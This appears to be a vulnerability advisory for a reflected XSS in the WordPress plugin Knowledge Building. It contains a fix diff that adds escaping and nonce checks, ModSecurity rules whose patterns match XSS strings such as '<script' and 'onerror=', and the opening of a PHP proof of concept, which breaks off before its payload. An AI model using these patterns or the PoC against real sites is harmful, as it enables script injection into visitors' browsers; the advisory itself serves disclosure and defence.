 	<p class="knbu-checklist"></p>
 	<p><label for="comment">Comment <span class="required">*</span></label>
@@ -601,8 +524,11 @@
 	global $knbu_kbsets;
 	$value = '<select name="knbu_type" id="knbu-type-selector">
 	<option disabled selected>Select knowledge type</option>';
-	foreach($knbu_kbsets[knbu_get_kbset_for_post(get_the_ID())]->KnowledgeTypeSet->KnowledgeType as $type)
-	$value .= '<option value="'.$type['ID'].'">'.$type['Name'].'</option>';
+	$kbset = knbu_get_kbset_for_post(get_the_ID());
+	if ( $kbset ) {
+		foreach($knbu_kbsets[$kbset]->KnowledgeTypeSet->KnowledgeType as $type)
+			$value .= '<option value="' . esc_attr( $type['ID'] ) . '">' . esc_html( $type['Name'] ) . '</option>';
+	}
 	$value .= '</select>';
 	return $value;
 }
@@ -610,127 +536,148 @@
 function knbu_get_legends() {
 	global $knbu_kbsets;

-	foreach($knbu_kbsets[knbu_get_kbset_for_post(get_the_ID())]->KnowledgeTypeSet->KnowledgeType as $type) {
-		$color = $type['Colour'];
-		echo '<li><span class="color" style="background-color: '.$color.'"></span>'.$type['Name'].'</li>';
+	$kbset = knbu_get_kbset_for_post(get_the_ID());
+	if ( ! $kbset ) return;
+	foreach($knbu_kbsets[$kbset]->KnowledgeTypeSet->KnowledgeType as $type) {
+		echo '<li><span class="color" style="background-color: ' . esc_attr( $type['Colour'] ) . '"></span>' . esc_html( $type['Name'] ) . '</li>';
 	}
 }


-function knbu_init_mapview() {
-	//To do: Check category and post (?)
-	define('KNBU_MAPVIEW', isset($_GET['map-view']));
+/**
+ * Whether the current request should show the map view.
+ *
+ * Only for a single post or page that the visitor can see, that uses a
+ * knowledge type set and that isn't password protected. Must be called after
+ * the main query has run.
+ *
+ * @return bool
+ */
+function knbu_is_map_view() {
+	if ( ! isset( $_GET['map-view'] ) || ! is_singular() ) return false; // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- display mode flag only.
+	$post_id = get_queried_object_id();
+	return $post_id && knbu_get_kbset_for_post( $post_id ) && ! post_password_required( $post_id );
 }


 function knbu_enqueue_scripts() {
-	if(KNBU_MAPVIEW) {
-		wp_register_script('knbu-map-script', plugins_url().'/knowledge-building/knbu-map-script.js', array( 'jquery', 'jquery-ui-core', 'jquery-ui-slider' ));
-		wp_register_script('jquery-mousewheel', plugins_url().'/knowledge-building/jquery.mousewheel.js', array( 'jquery' ));
-		wp_register_script('raphael-js', plugins_url().'/knowledge-building/raphael-min.js');
+	if ( knbu_is_map_view() ) {
+		$ver = $GLOBALS['knbu_plugin_version'];
+		wp_register_script('knbu-map-script', plugins_url( 'knbu-map-script.js', __FILE__ ), array( 'jquery', 'jquery-ui-core', 'jquery-ui-slider' ), $ver );
+		wp_register_script('jquery-mousewheel', plugins_url( 'jquery.mousewheel.js', __FILE__ ), array( 'jquery' ), '3.0.6' );
+		wp_register_script('raphael-js', plugins_url( 'raphael-min.js', __FILE__ ), array(), '2.1.0' );

 		wp_enqueue_script(array( 'raphael-js', 'knbu-map-script', 'jquery-mousewheel' ));
 	}
 }

+/**
+ * Send an error message to the reply form and stop.
+ *
+ * Always uses HTTP 200 so the existing client code receives the message.
+ *
+ * @param string $message Plain-text message shown to the user.
+ */
+function knbu_reply_error( $message ) {
+	wp_send_json( array( 'Message' => $message ) );
+}
+
+/**
+ * AJAX handler for replies posted from the comment map.
+ *
+ * Replies go through wp_handle_comment_submission(), so they get the same
+ * checks, filtering and moderation as comments posted through the regular
+ * comment form. The response only contains values read back from the saved
+ * comment, never raw request values.
+ */
 function knbu_new_reply_ajax() {
-
-	$time = current_time('mysql');
-	$var = new StdClass();
-
-	if(empty($_POST['comment_content'])) {
-		$var->Message = 'Content field cannot be empty';
-		echo json_encode($var);
-		die();
-	}
-
-	if(get_option('knbu_main_title_required') && empty($_POST['comment_title'])) {
-		$var->Message = 'Main idea field cannot be empty';
-		echo json_encode($var);
-		die();
-	}
-	if(empty($_POST['comment_knbu_type']) || $_POST['comment_knbu_type'] == 'Select type') {
-		$var->Message = 'Please select Knowledge type.';
-		echo json_encode($var);
-		die();
-	}
-	if(!is_numeric($_POST['comment_post_ID'])) {
-		$var->Message = 'There was an error.';
-		echo json_encode($var);
-		die();
-	}
-
-	if(!$_POST['comment_user']) {
-		if(strlen($_POST['comment_user_email']) == 0) {
-			$var->Message = 'User email field cannot be empty';
-			echo json_encode($var);
-			die();
+	if ( ! check_ajax_referer( 'knbu_new_reply', 'nonce', false ) ) {
+		knbu_reply_error( 'Your session has expired. Please reload the page and try again.' );
+	}
+
+	$post_id  = isset( $_POST['comment_post_ID'] ) ? absint( $_POST['comment_post_ID'] ) : 0;
+	$parent   = isset( $_POST['comment_parent'] ) ? absint( $_POST['comment_parent'] ) : 0;
+	$content  = isset( $_POST['comment_content'] ) ? trim( wp_unslash( $_POST['comment_content'] ) ) : ''; // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- filtered by wp_handle_comment_submission() like any comment.
+	$title    = isset( $_POST['comment_title'] ) ? sanitize_text_field( wp_unslash( $_POST['comment_title'] ) ) : '';
+	$type_id  = isset( $_POST['comment_knbu_type'] ) ? sanitize_text_field( wp_unslash( $_POST['comment_knbu_type'] ) ) : '';
+	$name     = isset( $_POST['comment_user_name'] ) ? sanitize_text_field( wp_unslash( $_POST['comment_user_name'] ) ) : '';
+	$email    = isset( $_POST['comment_user_email'] ) ? sanitize_email( wp_unslash( $_POST['comment_user_email'] ) ) : '';
+
+	if ( ! $post_id || ! knbu_get_kbset_for_post( $post_id ) ) {
+		knbu_reply_error( 'There was an error.' );
+	}
+	if ( '' === $content ) {
+		knbu_reply_error( 'Content field cannot be empty' );
+	}
+	if ( get_option( 'knbu_main_title_required' ) && '' === $title ) {
+		knbu_reply_error( 'Main idea field cannot be empty' );
+	}
+	$ktype = ( '' !== $type_id ) ? knbu_get_type( $type_id, $post_id ) : false;
+	if ( ! $ktype ) {
+		knbu_reply_error( 'Please select Knowledge type.' );
+	}
+	if ( ! is_user_logged_in() ) {
+		if ( '' === $email ) {
+			knbu_reply_error( 'User email field cannot be empty' );
 		}
-
-		if(strlen($_POST['comment_user_name']) == 0) {
-			$var->Message = 'User name field cannot be empty';
-			echo json_encode($var);
-			die();
+		if ( '' === $name ) {
+			knbu_reply_error( 'User name field cannot be empty' );
 		}
 	}
-	$data = array(
-		'comment_post_ID' => $_POST['comment_post_ID'],
-		'comment_content' => $_POST['comment_content'],
-		'comment_parent' => $_POST['comment_parent'],
-		'comment_date' => $time,
-		'comment_approved' => 1
-	);
-
-	if($_POST['comment_user']) {
-		$i = wp_get_current_user();
-		$var->user_id = $i->ID;
-		$var->username = get_the_author_meta('display_name', $var->user_id);
-		$var->user_email = get_the_author_meta('user_email', $var->user_id);
-		$data['user_id'] = $var->user_id;
-	}
-	else {
-		$var->user_email = $_POST['comment_user_email'];
-		$var->username = $_POST['comment_user_name'];
-
-		$data['comment_author_email'] = $var->user_email;
-	}
-
-	// Get map index
-	// Basically just the node number
-	$map_index = get_post_meta( $data['comment_post_ID'], 'knbu_map_index', true);
-	$var->index = $map_index;
-	update_post_meta( $data['comment_post_ID'], 'knbu_map_index', $map_index + 1 );
-
-
-	$data['comment_author'] = $var->username;
-	$id = wp_insert_comment($data);
-	$var->content = $_POST['comment_content'];
-	$var->comment_title = knbu_generate_title($_POST['comment_title'], $var->content);
-
-	if($id) {
-		$var->Success = true;
-		$ktype = $_POST['comment_knbu_type'];
-		$var->knbu = $ktype;
-
-		update_comment_meta( $id, 'kbtype', $ktype );
-		update_comment_meta( $id, 'knbu_map_comment_index', $var->index );
-		update_comment_meta( $id, 'comment_title', $var->comment_title );
-	}
-	$var->avatar = knbu_get_avatar_url($var->user_email);
-	$var->parent = $_POST['comment_parent'];
-	$var->id = $id;
-	$ktype = knbu_get_type( $_POST['comment_knbu_type'], $_POST['comment_post_ID'] );
-	$var->color = (string)$ktype['Colour'];
-
-	$var->date = get_comment_date(get_option('date_format'),$id);
-	$var->timestamp = strtotime(get_comment_date('Y-m-d H:i:s', $id));
-	echo json_encode($var);
-	die();
+
+	// Checks that comments are open, required fields, flooding and duplicates,
+	// filters the content and applies moderation, then calls wp_new_comment().
+	// For logged-in users the author name and email come from their account.
+	$comment = wp_handle_comment_submission( array(
+		'comment_post_ID' => $post_id,
+		'comment_parent'  => $parent,
+		'comment'         => $content,
+		'author'          => $name,
+		'email'           => $email,
+		'url'             => '',
+	) );
+
+	if ( is_wp_error( $comment ) ) {
+		knbu_reply_error( wp_strip_all_tags( $comment->get_error_message() ) );
+	}
+
+	$id = (int) $comment->comment_ID;
+
+	// Map index: basically just the node number.
+	$map_index = get_post_meta( $post_id, 'knbu_map_index', true );
+	update_post_meta( $post_id, 'knbu_map_index', (int) $map_index + 1 );
+
+	$comment_title = knbu_generate_title( $title, wp_strip_all_tags( $comment->comment_content ) );
+	update_comment_meta( $id, 'kbtype', (string) $ktype['ID'] );
+	update_comment_meta( $id, 'knbu_map_comment_index', $map_index );
+	update_comment_meta( $id, 'comment_title', $comment_title );
+
+	if ( '1' !== (string) $comment->comment_approved ) {
+		wp_send_json( array(
+			'Pending' => true,
+			'Message' => 'Thank you. Your comment is awaiting moderation.',
+		) );
+	}
+
+	wp_send_json( array(
+		'Success'       => true,
+		'id'            => $id,
+		'parent'        => (int) $comment->comment_parent,
+		'index'         => $map_index,
+		'knbu'          => (string) $ktype['ID'],
+		'color'         => (string) $ktype['Colour'],
+		'content'       => wp_kses_post( $comment->comment_content ),
+		'comment_title' => $comment_title,
+		'username'      => $comment->comment_author,
+		'avatar'        => knbu_get_avatar_url( $comment->comment_author_email ),
+		'date'          => get_comment_date( get_option( 'date_format' ), $comment ),
+		'timestamp'     => strtotime( $comment->comment_date ),
+	) );
 }


 function knbu_map_view_template($template) {
-	if(isset($_GET['map-view'])) {
+	if ( knbu_is_map_view() ) {
 		return plugin_dir_path(__FILE__).'map.php';
 	}
 	return $template;
@@ -738,16 +685,35 @@

 /* Get gravatar url of a user */
 function knbu_get_avatar_url($email) {
-	$a = md5( strtolower( trim( $email ) ) );
-	return 'http://www.gravatar.com/avatar/'.$a.'?s=92&d=mm';
+	// Respects the site's avatar settings and filters, and uses https.
+	return (string) get_avatar_url( (string) $email, array( 'size' => 92, 'default' => 'mm' ) );
 }



+/**
+ * AJAX handler that saves where a node has been pinned on the map.
+ *
+ * The positions are shared by everyone who views the map, so only users who
+ * can moderate comments may change them.
+ */
 function knbu_save_node_position() {
-	if(is_numeric($_POST['id']))
-		update_comment_meta( $_POST['id'], 'node_position', $_POST['node_position'] );
-	die();
+	if ( ! check_ajax_referer( 'knbu_save_node_position', 'nonce', false ) ) {
+		wp_send_json_error( null, 403 );
+	}
+	$id = isset( $_POST['id'] ) ? absint( $_POST['id'] ) : 0;
+	if ( ! $id || ! get_comment( $id ) || ! current_user_can( 'edit_comment', $id ) ) {
+		wp_send_json_error( null, 403 );
+	}
+
+	$position = isset( $_POST['node_position'] ) ? json_decode( wp_unslash( $_POST['node_position'] ), true ) : null; // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- decoded and validated below.
+	if ( is_array( $position ) && isset( $position['X'], $position['Y'] ) && is_numeric( $position['X'] ) && is_numeric( $position['Y'] ) ) {
+		update_comment_meta( $id, 'node_position', wp_json_encode( array( 'X' => (float) $position['X'], 'Y' => (float) $position['Y'] ) ) );
+	} else {
+		// Anything else, including "false", unpins the node.
+		delete_comment_meta( $id, 'node_position' );
+	}
+	wp_send_json_success();
 }


@@ -759,16 +725,22 @@
 	global $wpdb;
 	$table_name = $wpdb->prefix . 'knowledgetypes';

-	$rows = $wpdb->get_results("SELECT * FROM $table_name");
+	$rows = $wpdb->get_results("SELECT * FROM $table_name"); // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- table name built from $wpdb->prefix.
 	$success = true;
 	foreach($rows as $row) {
-		if(!update_comment_meta($row->comment_id, 'kbtype', $row->kbtype))
+		update_comment_meta($row->comment_id, 'kbtype', $row->kbtype);
+		// update_comment_meta() returns false when the value is already
+		// there, so check the stored value instead of the return value.
+		if ( (string) get_comment_meta( $row->comment_id, 'kbtype', true ) !== (string) $row->kbtype )
 			$success = false;
 	}
-	if(!$success)
-		wp_die('Something went wrong. Original data has not been deleted.');
+	// Keep the original table if anything failed; the migration is retried
+	// on a later admin page load.
+	if ( ! $success )
+		return false;

-	$wpdb->query("RENAME TABLE ".$table_name." TO ".$table_name."_backup");
+	$wpdb->query("RENAME TABLE ".$table_name." TO ".$table_name."_backup"); // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared -- table name built from $wpdb->prefix.
+	return true;
 }

 // Comment layout
@@ -796,22 +768,22 @@
 	}

 	?>
-	<div style="background-color: <?php echo $args['color']; ?>" <?php if($id) { comment_class('knbu-comment', $id); } else { echo 'class="knbu-comment"'; } ?>
-	data-id="<?php echo $id; ?>"
-	data-stamp="<?php echo strtotime($args['date'].' '.$args['time']); ?>"
-	data-date="<?php echo $args['date']; ?>"
-	data-type="<?php echo $args['type_id']; ?>"
-	data-comment-index="<?php echo $args['number']; ?>">
+	<div style="background-color: <?php echo esc_attr( $args['color'] ); ?>" <?php if($id) { comment_class('knbu-comment', $id); } else { echo 'class="knbu-comment"'; } ?>
+	data-id="<?php echo esc_attr( $id ); ?>"
+	data-stamp="<?php echo esc_attr( strtotime($args['date'].' '.$args['time']) ); ?>"
+	data-date="<?php echo esc_attr( $args['date'] ); ?>"
+	data-type="<?php echo esc_attr( $args['type_id'] ); ?>"
+	data-comment-index="<?php echo esc_attr( $args['number'] ); ?>">
 		<div class="message-header">
-			<h4 class="message-type" data-type="<?php echo $args['type_id']; ?>"><?php echo $args['type']; ?></h4>
-			<img class="message-avatar" src="<?php echo $args['avatar_src']; ?>">
-			<span class="message-username"><?php echo $args['username']; ?></span>
+			<h4 class="message-type" data-type="<?php echo esc_attr( $args['type_id'] ); ?>"><?php echo esc_html( $args['type'] ); ?></h4>
+			<img class="message-avatar" src="<?php echo esc_url( $args['avatar_src'] ); ?>">
+			<span class="message-username"><?php echo esc_html( $args['username'] ); ?></span>
 			<br />
-			<a class="message-link" onclick="location.reload()" href="<?php echo $args['link_href']; ?>">#<?php echo $args['index']; ?></a> <span class="message-title"><?php echo $args['title']; ?></span>
-			<span class="message-date"><a class="message-link" onclick="location.reload()" href="<?php echo $args['link_href']; ?>"><?php echo $args['date'].' '.$args['time']; ?></a></span>
+			<a class="message-link" onclick="location.reload()" href="<?php echo esc_attr( $args['link_href'] ); ?>">#<?php echo esc_html( $args['index'] ); ?></a> <span class="message-title"><?php echo esc_html( $args['title'] ); ?></span>
+			<span class="message-date"><a class="message-link" onclick="location.reload()" href="<?php echo esc_attr( $args['link_href'] ); ?>"><?php echo esc_html( $args['date'].' '.$args['time'] ); ?></a></span>
 		</div>
 		<div class="message-content-wrapper">
-			<div class="message-content"><?php echo $args['content']; ?></div>
+			<div class="message-content"><?php echo wp_kses_post( $args['content'] ); ?></div>
 			<div style="clear:both"></div>
 			<a class="reply-toggle knbu-form-link comment-reply-link" id="open-reply">Reply</a>
 			<div id="reply-wrapper">
--- a/knowledge-building/map.php
+++ b/knowledge-building/map.php
@@ -1,155 +1,160 @@
-<?php
-$replies = get_comments(array(
-			'status' => 'approve',
-			'post_id' => get_the_ID(),
-			'orderby' => 'date'
-			));
-?>
-<!DOCTYPE html>
-<html lang="en">
-<head>
-	<meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1"/>
-	<title><?php the_title(); ?> (Map) | <?php bloginfo('name'); ?></title>
-	<link href='http://fonts.googleapis.com/css?family=Junge' rel='stylesheet' type='text/css'>
-	<?php wp_head(); ?>
-</head>
-<body class="knbu-map-view <?php echo isset($_GET['map-frame']) ? 'knbu-map-frame' : 'knbu-map-full'; ?>">
-	<div id="map">
-		<div id="raven"></div>
-		<div id="fps"></div>
-		<div id="grouping">
-			Show notes: <select id="grouping-select">
-				<option value="discussion">as discussion</option>
-				<option value="knowledgetypes">by knowledge types</option>
-				<option value="users">by authors</option>
-				<option value="time">by time</option>
-			</select>
-		</div>
-		<div id="navigation">
-			<img src="<?php echo plugins_url('knowledge-building'); ?>/images/toggle-hide.png" width="15" height="15" id="navi-toggle-button">
-			<div id="navi-toggle-container">
-				<div id="pan">
-					<img src="<?php echo plugins_url(); ?>/knowledge-building/images/navi-bg.png" id="navigation-background">
-					<img src="<?php echo plugins_url(); ?>/knowledge-building/images/arrow-left.png" class="arrow" id="arrow-left">
-					<img src="<?php echo plugins_url(); ?>/knowledge-building/images/arrow-up.png" class="arrow" id="arrow-up">
-					<img src="<?php echo plugins_url(); ?>/knowledge-building/images/arrow-right.png" class="arrow" id="arrow-right">
-					<img src="<?php echo plugins_url(); ?>/knowledge-building/images/arrow-down.png" class="arrow" id="arrow-down">
-					<img src="<?php echo plugins_url(); ?>/knowledge-building/images/center.png" class="arrow" id="arrow-center">
-				</div>
-				+<div id="zoom"></div>-
-			</div>
-		</div>
-		<div id="legend">
-			<ul>
-				<?php knbu_get_legends(); ?>
-			</ul>
-		</div>
-		<?php if(isset($_GET['map-frame'])) { ?>
-		<div id="full-screen">
-			<a href="<?php echo remove_query_arg( 'map-frame' ); ?>" target="_blank">
-				<img src="<?php echo plugins_url() ?>/knowledge-building/images/full-screen.png" id="full-screen">
-			</a>
-		</div>
-		<?php } ?>
-	</div>
-
-	<div id="message"><?php knbu_comment(get_the_ID()); ?></div>
-		<?php
-			usort($replies, 'knbu_cmp');
-			knbu_get_childs(get_the_ID(), $replies);
-		?>
-	</body>
-</html>
-<?php
-
-
-function knbu_get_childs($id, $replies) {
-	global $knowledgeTypes, $knbu_kbsets, $post;
-
-	// The post itself will be the starting node
-	$nodes = array(
-				array(
-					'id' => 0,
-					'parent' => false,
-					'content' => $post->post_content,
-					'avatar' => knbu_get_avatar_url( $post->user_id ),
-					'username' => get_the_author_meta( 'display_name', $post->post_author ),
-					'email' => $post->user_email,
-					'date' => date(get_option('date_format'), strtotime($post->post_date)),
-					'time' => date(get_option('time_format'), strtotime($post->post_date)),
-					'timestamp' => strtotime( $post->post_date ),
-					'typeName' => 'Start',
-					'title' => $post->post_title,
-					'static' => true,
-					'index' => 1
-				)
-	);
-
-
-	$map_index = get_post_meta( $id, 'knbu_map_index', true);
-
-	if(empty($map_index))
-		$map_index = 2;
-
-	foreach($replies as $reply) {
-
-		// Get comment meta data
-		// Should be combined to one variable(?)
-		$type = get_comment_meta($reply->comment_ID, 'kbtype', true);
-		$title = get_comment_meta($reply->comment_ID, 'comment_title', true);
-		$node_index = get_comment_meta( $reply->comment_ID, 'knbu_map_comment_index' );
-		$anchor = json_decode(get_comment_meta($reply->comment_ID, 'node_position', true));
-
-		// Default values
-		$name = 'Unspecified';
-		$color = '#fff';
-
-		// Get type name and color
-		foreach($knbu_kbsets[knbu_get_kbset_for_post(get_the_ID())]->KnowledgeTypeSet->KnowledgeType as $t) {
-			if($t['ID'] == $type) {
-				$name = (string)$t['Name'];
-				$color = (string)$t['Colour'];
-			}
-		}
-
-		// If there's no title, get some text from content to be one
-		$title = knbu_generate_title($title, $reply->comment_content);
-
-
-		// Check if there's no index set for the note
-		if(empty($node_index)) {
-			$node_index = $map_index;
-			$map_index++;
-			update_comment_meta( $reply->comment_ID, 'knbu_map_comment_index', $node_index );
-			update_post_meta( $id, 'knbu_map_index', $map_index);
-		}
-
-		$reply->user_email = isset($reply->user_email) ? $reply->user_email : '';
-
-		$nodes[] = array(
-				'id' => $reply->comment_ID,
-				'parent' => $reply->comment_parent,
-				'content' => $reply->comment_content,
-				'avatar' => knbu_get_avatar_url($reply->user_id),
-				'username' => $reply->comment_author,
-				'email' => $reply->user_email,
-				'date' => date(get_option('date_format').' '.get_option('time_format'), strtotime($reply->comment_date)),
-				'timestamp' => strtotime($reply->comment_date),
-				'title' => $title,
-				'typeName' => $name,
-				'anchor' => $anchor,
-				'color' => $color,
-				'index' => $node_index
-		);
-	}
-
-	echo '<script type="text/javascript">var NodesFromServer = '.json_encode($nodes).'; var MapIndexFromServer = '.$map_index.'; var plugin_url = "'.plugins_url('knowledge-building').'";</script>';
-}
-
-
-function knbu_cmp($a, $b) {
-	if(strtotime($a->comment_date) == strtotime($b->comment_date))
-		return 0;
-	return strtotime($a->comment_date) > strtotime($b->comment_date) ? 1 : -1;
-}
+<?php
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
+$replies = get_comments(array(
+			'status' => 'approve',
+			'post_id' => get_the_ID(),
+			'orderby' => 'date'
+			));
+?>
+<!DOCTYPE html>
+<html lang="en">
+<head>
+	<meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1"/>
+	<title><?php the_title(); ?> (Map) | <?php bloginfo('name'); ?></title>
+	<link href='https://fonts.googleapis.com/css?family=Junge' rel='stylesheet' type='text/css'>
+	<?php wp_head(); ?>
+</head>
+<?php // phpcs:disable WordPress.Security.NonceVerification.Recommended -- map-frame is a display mode flag only. ?>
+<body class="knbu-map-view <?php echo isset($_GET['map-frame']) ? 'knbu-map-frame' : 'knbu-map-full'; ?>">
+	<div id="map">
+		<div id="raven"></div>
+		<div id="fps"></div>
+		<div id="grouping">
+			Show notes: <select id="grouping-select">
+				<option value="discussion">as discussion</option>
+				<option value="knowledgetypes">by knowledge types</option>
+				<option value="users">by authors</option>
+				<option value="time">by time</option>
+			</select>
+		</div>
+		<div id="navigation">
+			<img src="<?php echo esc_url( plugins_url( 'images/toggle-hide.png', __FILE__ ) ); ?>" width="15" height="15" id="navi-toggle-button">
+			<div id="navi-toggle-container">
+				<div id="pan">
+					<img src="<?php echo esc_url( plugins_url( 'images/navi-bg.png', __FILE__ ) ); ?>" id="navigation-background">
+					<img src="<?php echo esc_url( plugins_url( 'images/arrow-left.png', __FILE__ ) ); ?>" class="arrow" id="arrow-left">
+					<img src="<?php echo esc_url( plugins_url( 'images/arrow-up.png', __FILE__ ) ); ?>" class="arrow" id="arrow-up">
+					<img src="<?php echo esc_url( plugins_url( 'images/arrow-right.png', __FILE__ ) ); ?>" class="arrow" id="arrow-right">
+					<img src="<?php echo esc_url( plugins_url( 'images/arrow-down.png', __FILE__ ) ); ?>" class="arrow" id="arrow-down">
+					<img src="<?php echo esc_url( plugins_url( 'images/center.png', __FILE__ ) ); ?>" class="arrow" id="arrow-center">
+				</div>
+				+<div id="zoom"></div>-
+			</div>
+		</div>
+		<div id="legend">
+			<ul>
+				<?php knbu_get_legends(); ?>
+			</ul>
+		</div>
+		<?php if(isset($_GET['map-frame'])) { ?>
+		<div id="full-screen">
+			<a href="<?php echo esc_url( remove_query_arg( 'map-frame' ) ); ?>" target="_blank">
+				<img src="<?php echo esc_url( plugins_url( 'images/full-screen.png', __FILE__ ) ); ?>" id="full-screen">
+			</a>
+		</div>
+		<?php } ?>
+	</div>
+
+	<?php // phpcs:enable WordPress.Security.NonceVerification.Recommended ?>
+	<div id="message"><?php knbu_comment(get_the_ID()); ?></div>
+	<?php if ( current_user_can( 'moderate_comments' ) ) { ?>
+	<input type="hidden" id="knbu-node-nonce" value="<?php echo esc_attr( wp_create_nonce( 'knbu_save_node_position' ) ); ?>">
+	<?php } ?>
+		<?php
+			usort($replies, 'knbu_cmp');
+			knbu_get_childs(get_the_ID(), $replies);
+		?>
+	</body>
+</html>
+<?php
+
+
+function knbu_get_childs($id, $replies) {
+	global $knowledgeTypes, $knbu_kbsets, $post;
+
+	// The post itself will be the starting node
+	$nodes = array(
+				array(
+					'id' => 0,
+					'parent' => false,
+					'content' => $post->post_content,
+					'avatar' => knbu_get_avatar_url( get_the_author_meta( 'user_email', $post->post_author ) ),
+					'username' => get_the_author_meta( 'display_name', $post->post_author ),
+					'date' => date(get_option('date_format'), strtotime($post->post_date)),
+					'time' => date(get_option('time_format'), strtotime($post->post_date)),
+					'timestamp' => strtotime( $post->post_date ),
+					'typeName' => 'Start',
+					'title' => $post->post_title,
+					'static' => true,
+					'index' => 1
+				)
+	);
+
+
+	$map_index = get_post_meta( $id, 'knbu_map_index', true);
+
+	if(empty($map_index))
+		$map_index = 2;
+
+	foreach($replies as $reply) {
+
+		// Get comment meta data
+		// Should be combined to one variable(?)
+		$type = get_comment_meta($reply->comment_ID, 'kbtype', true);
+		$title = get_comment_meta($reply->comment_ID, 'comment_title', true);
+		$node_index = (int) get_comment_meta( $reply->comment_ID, 'knbu_map_comment_index', true );
+		$anchor = json_decode(get_comment_meta($reply->comment_ID, 'node_position', true));
+
+		// Default values
+		$name = 'Unspecified';
+		$color = '#fff';
+
+		// Get type name and color
+		foreach($knbu_kbsets[knbu_get_kbset_for_post(get_the_ID())]->KnowledgeTypeSet->KnowledgeType as $t) {
+			if($t['ID'] == $type) {
+				$name = (string)$t['Name'];
+				$color = (string)$t['Colour'];
+			}
+		}
+
+		// If there's no title, get some text from content to be one
+		$title = knbu_generate_title($title, wp_strip_all_tags( $reply->comment_content ));
+
+
+		// Check if there's no index set for the note
+		if(empty($node_index)) {
+			$node_index = $map_index;
+			$map_index++;
+			update_comment_meta( $reply->comment_ID, 'knbu_map_comment_index', $node_index );
+			update_post_meta( $id, 'knbu_map_index', $map_index);
+		}
+
+		$nodes[] = array(
+				'id' => $reply->comment_ID,
+				'parent' => $reply->comment_parent,
+				'content' => wp_kses_post( $reply->comment_content ),
+				'avatar' => knbu_get_avatar_url( $reply->comment_author_email ),
+				'username' => $reply->comment_author,
+				'date' => date(get_option('date_format').' '.get_option('time_format'), strtotime($reply->comment_date)),
+				'timestamp' => strtotime($reply->comment_date),
+				'title' => $title,
+				'typeName' => $name,
+				'anchor' => $anchor,
+				'color' => $color,
+				'index' => $node_index
+		);
+	}
+
+	echo '<script type="text/javascript">var NodesFromServer = ' . wp_json_encode( $nodes ) . '; var MapIndexFromServer = ' . (int) $map_index . '; var plugin_url = ' . wp_json_encode( plugins_url( '', __FILE__ ) ) . ';</script>';
+}
+
+
+function knbu_cmp($a, $b) {
+	if(strtotime($a->comment_date) == strtotime($b->comment_date))
+		return 0;
+	return strtotime($a->comment_date) > strtotime($b->comment_date) ? 1 : -1;
+}
 ?>
 No newline at end of file

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-121863
# Blocks reflected XSS via the knbu_provide_knbu_info AJAX handler.
# The attack requires the action parameter to be knbu_provide_knbu_info and the presence of knbu_ktype_info parameter.
# We also inspect for script tags in the knbu_ID parameter (though the actual payload may be in the response, not the request).
# Since the vulnerability is reflected via the response, a WAF rule should focus on blocking the request pattern that triggers the handler.
# However, to avoid false positives, we only block when the request contains the specific action and a suspicious payload in knbu_ID.
# The payload pattern matches typical XSS vectors: <script, javascript:, onerror=, etc.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
    "id:2026121863,phase:2,deny,status:403,chain,msg:'CVE-2026-121863 via Knowledge Building AJAX',severity:'CRITICAL',tag:'CVE-2026-121863'"
    SecRule ARGS_POST:action "@streq knbu_provide_knbu_info" "chain"
        SecRule ARGS_POST:knbu_ktype_info "@streq 1" "chain"
            SecRule ARGS_POST:knbu_ID "@rx (<script|javascript:|onerror=|onload=|alert(|prompt(|confirm()" "t:urlDecodeUni,t:lowercase"

# Also block if the post_ID parameter contains script tags (though less likely).
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
    "id:2026121864,phase:2,deny,status:403,chain,msg:'CVE-2026-121863 via Knowledge Building AJAX post_ID',severity:'CRITICAL',tag:'CVE-2026-121863'"
    SecRule ARGS_POST:action "@streq knbu_provide_knbu_info" "chain"
        SecRule ARGS_POST:knbu_ktype_info "@streq 1" "chain"
            SecRule ARGS_POST:post_ID "@rx (<script|javascript:|onerror=|onload=|alert(|prompt(|confirm()" "t:urlDecodeUni,t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-121863 - Knowledge Building < 0.7.3 - Reflected Cross-Site Scripting

// Configuration
$target_url = 'http://example.com'; // Replace with target WordPress site URL

// Step 1: The vulnerable endpoint is /wp-admin/admin-ajax.php with action=knbu_provide_knbu_info
// The attacker must supply post_ID and knbu_ID parameters.
// For exploitation, the knbu_ID must refer to a knowledge type with malicious script in its description or checklist.
// In many cases, the knowledge type data is loaded from XML files bundled with the plugin, but if an attacker can
// influence these files (e.g., via file upload or by manipulating the mapping), they can inject script.
// Alternatively, if the plugin's nonce checks are absent, the attacker can directly inject via the parameters.
// For this PoC, we assume the attacker has a way to set a malicious knowledge type (e.g., via a separate vulnerability
// or by editing the XML). The payload below simulates a malicious description containing a script tag.

// Step 2: Prepare the POST data
$post_data = array(
